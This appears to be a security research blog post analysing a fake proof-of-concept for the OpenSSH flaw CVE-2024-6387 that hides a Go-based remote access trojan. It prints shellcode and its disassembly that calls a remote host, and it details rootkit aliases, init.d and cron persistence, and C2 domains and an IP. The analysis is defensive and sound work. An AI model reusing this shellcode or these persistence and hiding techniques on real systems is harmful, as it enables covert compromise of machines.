blog

Cyber Security Research

The Wild West of Proof of Concept Exploit Code (PoC)

By Vlad O & Daniel C

The 1990s and early 2000s were a tumultuous time in the world of cybersecurity. Numerous hacking groups emerged, discovering vulnerabilities and releasing exploit code that caused significant disruption across the Internet. Once these groups had their fill of mischief, they often released their proof of concepts (PoCs) to the public, allowing others to replicate and build upon their work.

However, this open sharing came with a significant risk. On the Internet, anonymity is a given—”nobody knows you’re a dog,” as the saying goes. This anonymity extended to exploit code as well. Without the ability to thoroughly understand and verify the behavior of the code, users risked unwittingly running malicious software. Many found themselves facing serious consequences after executing untrusted exploit code.

While not widespread, there were notable instances where tools and exploit code were heavily backdoored. These backdoors allowed malicious actors to gain unauthorized access to systems using these tools. Some examples include:

The lesson from this era is clear: never run untrusted code without fully understanding and verifying its behavior. The legacy of backdoored exploit code serves as a reminder of the importance of caution and due diligence in cybersecurity practices.

If you were to run exploit code or tools, you really needed to check what it is they did and how they worked. Andy Gill did an amazing project that exploited just this with his HoneyPoC release

the preliminary findings from the original HoneyPoC project were that folks will run anything blindly, it appeared, but as I automated the project more, it became apparent that different geographic locations had a deeper interest in different types of CVEs and software vulnerabilities.

CVE-2024-6387

Fast forward to 2024, and now almost everyone in cybersecurity is a threat intelligence analyst, performing deep research on the latest Advanced Persistent Threats (APTs) and proof-of-concept (PoC) code being released. It has become a common practice for security teams to continuously monitor for PoCs of newly published vulnerabilities. The competitive environment has created a race to emerge as the leading source of threat intelligence. The typical process involves quickly scraping GitHub for code related to vulnerabilities like CVE-2024-XX, downloading it, testing its functionality, and, if successful, publishing a blog post from a corporate account to gain recognition.

On July 1, 2024, the Qualys Threat Research Unit (TRU) discovered an unauthenticated remote code execution (RCE) vulnerability in OpenSSH’s server (sshd) on glibc-based Linux systems (CVE-2024-6387). This discovery was significant, as SSH vulnerabilities of this magnitude are rare. The TRU team deserved commendation for uncovering such a critical flaw.

Exploiting this bug was not a straightforward task, and some groups saw an opportunity to exploit security researchers who eagerly flocked to this bug, us included. Crafting an exploit for CVE-2024-6387 was challenging, but not impossible. Here are some of the hurdles that needed to be overcome:

  1. Understanding the target: To exploit this vulnerability, a deep understanding of the target system was required. Address Space Layout Randomization (ASLR) and specific glibc structures vary across different Linux distributions. This complexity necessitated a comprehensive array of data to achieve the exploit, making the process cumbersome and intricate.

  2. Timing and Noise: Exploiting this vulnerability within a narrow time window, even as short as five hours, generated considerable noise. The process was akin to a brute-force attack on username and password combinations. The high level of activity needed to exploit the vulnerability made it noticeable and challenging to execute stealthily.

In conclusion, while the discovery of CVE-2024-6387 by the Qualys TRU was amazing, the exploit’s complexity served as a deterrent to some degree. This scenario underscores the importance of thorough understanding and precise execution in vulnerability exploitation, highlighting the ongoing challenges faced by security researchers and threat actors alike.

I set about wondering how such an exploit might work from a flow perspective and came up with the following:

exploit-flow

First, it’s important to go into the wonderful world of the GNU C library (glibc). Basically it’s the glue that makes it all happen, including IO, networking, memory stuff and oh so much more. Now Linux, on a whole, doesn’t follow a set way of working. Each distro does things differently, and this is where the complexity comes into play.

The Linux PaX project first coined the term “ASLR” (Address space layout randomization), and published the first design and implementation of ASLR in July 2001 as a patch for the Linux kernel. Basically: scramble the crap out of memory to make shellcode insertion harder as you dont know the exact location of specific functions, such as those in glibc. This unpredictability complicates shellcode insertion and other memory-based attacks.

We, then, need to know what the system is in order for us to exploit it. Sounds simple, right? Well, not so much. Let’s write basic code to do this on a number of systems:

Ubuntu 18.0.4:

glibc version: 2.27
address of printf: 0x7ff266e14e40
address of system: 0x7ff266dff420

Ubuntu 22.04:

glibc version: 2.35
address of printf: 0x75b1ec6606f0
address of system: 0x75b1ec650d70

RHEL:

Using glibc version: 2.17
Address of printf: 0x7f8b12345678
Address of system: 0x7f8b12345679

Not the easiest to quickly do, and this is where the fun started. A few days after the Qualys release, we found someone offering exploit code for this, and naturally everyone jumped onto it.

exploit-contents

There was a webserver too, found at http://

lynx

Essentially, we have exploit.py:

exploit-py

and also: a zero-byte exploit-gogo.c, a zero-byte glibc_check.c and send.c:

This code looked legit: we see several functions that make one feel like this is doing the work it should do, namely:

So far it is convincing. And, for added bonus points, execute_and_cleanup.sh:

Its main use is when there exists a need to download, execute, and clean up files across various architectures. It ensures that downloaded files are executed and removed after use, maintaining a clean environment.

But. Hang on. CHMOD 777?

Seeing this, you stuff is about to get ugly. That, and multi-architecture, in 2024 means it can only be Golang.

exploit.py isn’t fancy, it loads in a list of IP addresses, creates a function called exploit_ip() that uses a subprocess (run commands on the host) which, in turn, executes the exploit binary and aims it at the IP and port 22. Finally, the main() function reads in ip.txt and uses concurrent.futures to create a worker pool of 10 workers to execute the exploit.

Simple, isn’t it? It does look like this is the workings of a usable exploit for CVE-2024-6387 and you can see how many probably tried this out.

But we were not convinced: there were some oddities in how this was working, such as the various glibc addresses and, also, why the huge binaries for each architecture and what the hell was with the 2.6 million IP address file?

Some deeper analysis.

We decided to take a much deeper look at the main exploit part, as referenced in exploit.py:

exploit: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header

Running strings gave a lot:

and there also was this little snippet:

Shellcode Phun.

send.c has the following:

unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x71\x89\xe1\x50\x68\x38\x39\x2e\x31\x68\x31\x32\x2e\x37\x68\x2e\x31\x39\x2e\x68\x

They do say “// Shellcode placeholder (replace with actual shellcode)”, but who does that, right? So, let’s have a little look at this placeholder shellcode:

0:  31 c0                   xor    eax, eax
2:  50                      push   eax
3:  68 6e 2f 73 68          push   0x68732f6e
8:  68 2f 2f 62 69          push   0x69622f2f
d:  89 e3                   mov    ebx, esp
f:  50                      push   eax
10: 66 68 2d 71             pushw  0x712d
14: 89 e1                   mov    ecx, esp
16: 50                      push   eax
17: 68 38 39 2e 31          push   0x312e3938
1c: 68 31 32 2e 37          push   0x372e3231
21: 68 2e 31 39 2e          push   0x2e39312e
26: 68 31 39 38 2e          push   0x2e383931
2b: 68 74 70 3a 2f          push   0x2f3a7074
30: 68 2f 68 74 74          push   0x7474682f
35: 89 e1                   mov    ecx, esp
37: 51                      push   ecx
38: 89 e1                   mov    ecx, esp
3a: b0 0b                   mov    al, 0xb
3c: cd 80                   int    0x80

Bits that stand out are:

Good start, can’t have a remote shell without a shell right?

These push instructions construct a string containing an IP address and the http:// prefix on the stack.

In essence, the shellcode does this:

/bin/sh -q http://198.19.128.231

Which is a bogon IP (not yet allocated or delegated by the Internet Assigned Numbers Authority (IANA) or a delegated Regional Internet Registry (RIR))

Reverse Engineering the ‘exploit’ binary.

The malicious CVE_2024_6387 (RegreSSHion) archive contained a number of source code files and pre-compiled binaries:

Filename Hash
glibc_check.c da39a3ee5e6b4b0d3255bfef95601890afd80709
exploit 7e6a1e4dfb2d932506b88b58d5bb4f254b762680
send.c 02a9c0437bc43b620bb1e4575562af6b0a65ad00
index.html e84ee7ec8f790ec51d32d355484026766d0ad499
index.html?C=N;O=A e84ee7ec8f790ec51d32d355484026766d0ad499
index.html?C=M;O=A f706b77914ab7fa41fb6821be8f8a7726451cb75
验证利用脚本.txt fe71d044f35b83eaa26162ff62a94ddf4d6047ee
arm5 380f766eec0b181cb094b51e366487deabd0d312
amd64 3bdad143cd168a2015aba2053e53f99a24d52ace
index.html?C=D;O=D f5816e66a76ef28ff15aec7e8a72ee248212f272
index.html?C=S;O=D 9d3a58868e88e9160e172cb5b436bd97a9c79c00
execute_and_cleanup.sh 98cee6d3b4a210be77fa4a458b06b805fa781bd7
mipsel a67a00f6cb7f003504fe28d3265392a482727e0f
c.txt 02a9c0437bc43b620bb1e4575562af6b0a65ad00
mips c514efc4b6d0fe0672f6ddb30609a59587ac04d4
mips64 28f80872f1aba0e3007e002388d057bb2329f407
index.html?C=M;O=D 3d8939bf8793e5d62f6d9e0b5adc87a052d5b154
index.html?C=N;O=D f5816e66a76ef28ff15aec7e8a72ee248212f272
arm7 d17e71b4448aa8a2a3a753cf867bff73371a4f1a
ip.txt faaec686747fa6a07014cc5461ff64dbc9efdf3f
mips64el 71183310d0d00caa421a058d52e37d7ad8fc46eb
arm6 79ae24874af457cfd95b5c34f95ecf5ab6ececb5
aarch64 a0238a3433fcdffbfd04dadb7c0fc6c103a9efb2
exploit.py 985109c80b184d59c19c83faf0bfe593524b8374
exploit-gogo.c da39a3ee5e6b4b0d3255bfef95601890afd80709
index.html?C=D;O=A b53d3e47bc5273a480fa3d49e422b36c04889c7e
index.html?C=S;O=A 016e21a4202905e64de5e6473884f69791857eea
386 9a058ce2e1a413ae24b0c23e49b68d1b2f3f2777

On closer examination it quickly became evident that the source code of the exploit itself was a decoy designed as a lure to infect the machine on which it was executed. This attack chain primary component was identified as a heavily modified version of a relatively obscure Golang, multi-platform Command and Control (C2) framework The Remote Access Trojan (RAT) called Chaos (https://github.com/tiagorlampert/CHAOS).

We will refer it as HESIOD, named after one of the Golang DNS specification libraries used by this RAT.

Upon execution, execute_and_cleanup.sh would download, launch and then remove a number of pre-compiled binaries targeting different linux architectures:

mips: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=KLte1HPpiIqSBxQIfYDS/QANcCW30W9jOPNPuZfoM/ITXftxXWJYEHup3IK3Zf/w1NfFcJvwLrcVi5Raq82, stripped
386: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=_U9f3XZujO1ziaaA9kDm/BXkeuDQ1mdANV2QHaIjH/wE0wc7HzHXzDzEQ2tVw9/s7Z6tpCNX0WmjkLFO5QS, stripped
aarch64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header
amd64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=HjZE6uhaa4GebYfRRAWT/ZJrtMvuTcKnbLlbJ8SPB/Xe_ce7bYGK3lmYiWj264/qADi21f-7rQwa_60-gvX, stripped
arm5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=FRzpQZTUsYP7nS6EO2I9/tgRlYj8FE4XDUdPumWAp/M8pzTaAOFHhsAFBcUiYU/LZ4ma86tX3sTSTnp6AAc, stripped
arm6: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=viDHGzk0Z0GAhUQrh6Fw/PezIakqvEFXe90m2uJYO/u3Gp99nvFdmkLmBpQHUP/bHlZlhreEtq1MaCnJxXf, stripped
arm7: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=1QijsWdlTSzNrKXqtLcs/KQiptm3N1lokEnZQ-p1M/DCQjWO2kneaBioVd-ay8/MoCGslbtIBENBSJQ3U1f, stripped
mips64: ELF 64-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=QZ2mZCujX1tji12kigcz/3lhyy7AlsUHxeFpfR6on/yKV0WmRMFx1PbozcPZq5/RiQykqcLr754d2v5i5ij, stripped
mips64el: ELF 64-bit LSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=zhB-y0HTPCZCyENlqYwD/vyVUgOSuhCew3BWoUBzb/9uc42QI3npvBwJ1643Tq/GQ7cdqDzKB_xVz39LA11, stripped
mipsel: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=w2J_kkUH_YvdYskSwiXX/1LK679v4jJOxZt0-XTlj/wftkwxZXHDbwb-HqgAq0/FWLFJQlzRaIAB8jTUQw8, stripped

On successful execution, HESIOD would drop copies of itself as part of its infection pipeline:

Hash File/Description
3bdad143cd168a2015aba2053e53f99a24d52ace amd64 <- executed file backdoor
3bdad143cd168a2015aba2053e53f99a24d52ace /usr/lib/libgdi.so.0.8.2
3bdad143cd168a2015aba2053e53f99a24d52ace /usr/sbin/netstat.cfg
3bdad143cd168a2015aba2053e53f99a24d52ace /boot/system.pub
3bdad143cd168a2015aba2053e53f99a24d52ace /lib/system.mark
8ab05ff9a8d9d73e2b23643b39d67ea1ff7a6418 .mod [sh script launched by cron job]

The same hashes mean that the same file is dropped into numerous locations under different names.

Execution flow hijacking (rootkit component).

The backdoor drops /etc/profile.d/gateway.sh which is a script that contains backdoor alias definitions for ps, ss, dir, ls, find, and lsof.

This script ensures that the backdoor processes remain hidden from the outputs of standard system administration commands. In the context of an attacker compromising a machine, backdooring and hiding processes are common techniques used to maintain stealth and persistence.

When an attacker successfully gains access to a system, they often deploy backdoors to secure ongoing access. A backdoor is a piece of malware that allows the attacker to bypass normal authentication and gain control of the system, often without the knowledge of the legitimate users.

To avoid detection, attackers commonly use various methods to hide these backdoor processes from system administrators:

Boot-time Persistence

HESIOD drops the following bash script in to /etc/init.d/dns-udp4:

and then adds run-level symlinks pointing to the above script.

/etc/rc5.d 01dns-udp4 -> ../init.d/dns-udp4
/etc/rc4.dS01dns-udp4 -> ../init.d/dns-udp4
/etc/rc3.dS01dns-udp4 -> ../init.d/dns-udp4
/etc/rc2.dS01dns-udp4 -> ../init.d/dns-udp4

It then modifies the following daemon scripts:

[x] "/etc/init.d"
[x] "/etc/init.d/acpid"
[x] "/etc/init.d/alsa-utils"
[x] "/etc/init.d/anacron"
[x] "/etc/init.d/apparmor"
[x] "/etc/init.d/apport"
[x] "/etc/init.d/avahi-daemon"
[x] "/etc/init.d/bluetooth"
[x] "/etc/init.d/console-setup.sh"
[x] "/etc/init.d/cron"
[x] "/etc/init.d/cups"
[x] "/etc/init.d/cups-browsed"
[x] "/etc/init.d/dbus"
[x] "/etc/init.d/gdm3"
[x] "/etc/init.d/hwclock.sh"
[x] "/etc/init.d/irqbalance"
[x] "/etc/init.d/keyboard-setup.sh"
[x] "/etc/init.d/kmod"
[x] "/etc/init.d/open-vm-tools"
[x] "/etc/init.d/openvpn"
[x] "/etc/init.d/plymouth"
[x] "/etc/init.d/plymouth-log"
[x] "/etc/init.d/postfix"
[x] "/etc/init.d/procps"
[x] "/etc/init.d/rsync"
[x] "/etc/init.d/rsyslog"
[x] "/etc/init.d/saned"
[x] "/etc/init.d/spice-vdagent"
[x] "/etc/init.d/udev"
[x] "/etc/init.d/ufw"
[x] "/etc/init.d/unattended-upgrades"
[x] "/etc/init.d/uuidd"
[x] "/etc/init.d/x11-common"

Modified to run /lib/system.mark:

Runtime persistence

Runtime persistence is managed through the cron job scheduler. Specifically, the backdoor is launched as part of Anacron execution and is also scheduled to run every minute. This dual scheduling ensures that the backdoor remains active and re-launches frequently, even if it is terminated.

Persistence through cron jobs is a common tactic used by attackers to maintain a foothold on compromised systems. By scheduling malicious processes to run at regular intervals, attackers can ensure their backdoors or other malicious scripts are automatically restarted if they are stopped or removed. This method exploits the standard functionality of cron, which is typically used for legitimate maintenance tasks, making it less likely to raise suspicion.

In this case, the use of Anacron in conjunction with cron provides an additional layer of persistence. While cron jobs are scheduled to run at specific times, Anacron is designed to execute scheduled jobs that were missed during periods when the system was powered off. By leveraging both, the attacker guarantees that the backdoor will be executed consistently, regardless of system reboots or downtime.

Overall, this persistence strategy enhances the resilience of the backdoor, making it more difficult for system administrators to detect and eradicate the malicious presence from the compromised machine.

/etc/cron.d/anacron:

/etc/init.d/anacron:

Note: system.mark is a dropped copy of the backdoor.

bpftrace of cron activity:

Network

On execution, the sample tries to resolve botbot.ddosvps.cc:

this is followed by an attempt to open a socket to smtp14.dsfdsaonline.com on port 7788.

fish@ubuntu:~$ lsof -i tcp
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash.cfg 1646 fish    7u  IPv4  89324      0t0  TCP ubuntu:38332->smtp14.dsfdsaonline.com:7788 (SYN_SENT)

C2 IP Address

The Command and Control (C2) server looks to utilise DNS over HTTP (DoH), as it imports the Golang go-doh-client, and operates through the host IP address 209.141.53.247. This IP address is associated with two DNS records.

The use of DNS over HTTP (DoH) is a sophisticated technique employed by attackers to bypass traditional monitoring and detection mechanisms. DoH encapsulates DNS queries within regular HTTPS traffic, making it difficult for conventional network security tools to distinguish between legitimate web traffic and malicious DNS queries. This obfuscation helps attackers evade detection by security systems that rely on analyzing standard DNS traffic patterns.

By using DoH, the attacker can:

In the context of the C2 server using DoH, the attackers leverage this technique to maintain communication with the compromised machine while minimizing the risk of detection. The host IP address 209.141.53.247, which shares two DNS records, serves as the central point for managing the backdoor and receiving exfiltrated data.

Overall, the use of DNS over HTTP by the C2 server represents a strategic move by the attackers to evade traditional monitoring techniques, ensuring the persistence and stealth of their malicious operations.

The IP has been flagged for various malicious activities, including being identified as a possible Command and Control server for Agent Tesla malware by ThreatFox on April 20, 2023. Additionally, it was reported for phishing in External Sensor data on September 30, 2023, and has been associated with multiple malicious behaviors like Brute-Force attacks, DNS Compromise, Web App Attacks, DDoS Attacks, Port Scans, and spam activities based on AbuseIPDB Community submissions

Key Takeaways

In recent years, cyber security experts have increasingly become targets of sophisticated attacks involving fake exploits of recently discovered vulnerabilities. Attackers, often cybercriminals or state-sponsored actors, leverage the urgency and interest surrounding newly reported vulnerabilities to deceive security professionals. They create and distribute fake exploits or malious files disguised as proof-of-concept (PoC) code. When cybersecurity experts download and run the code, believing it to be a legitimate tool for analysis or mitigation, their systems become compromised.

It isn’t something that happens all the time, but we are seeing an increase of attempts to gain access to those, whose job is to evaluate vulnerabilities, tools used by adversaries and indeed proof of concept exploit code shared amongst the community.

The work that went into this backdoor, which wasn’t just a simple malicious piece of shellcode armed compiled exploit that opened up a reverse shell, shows that there is still some ROI in doing this, as we expect many might have run this without doing proper due diligence.

The choice of Golang here is cool as a backdooring tool, mostly because of static linking and if it wasn’t for the size, it would be an ideal solution. Now if it was me, I’d probably go down the more elegant route of using a kernel module for persistence, because who honestly checks that?

Be paranoid. Trust but verify.

In the next post we will dive deeper in to the inner works of HESIOD backdoor (variation of Chaos used in this attack).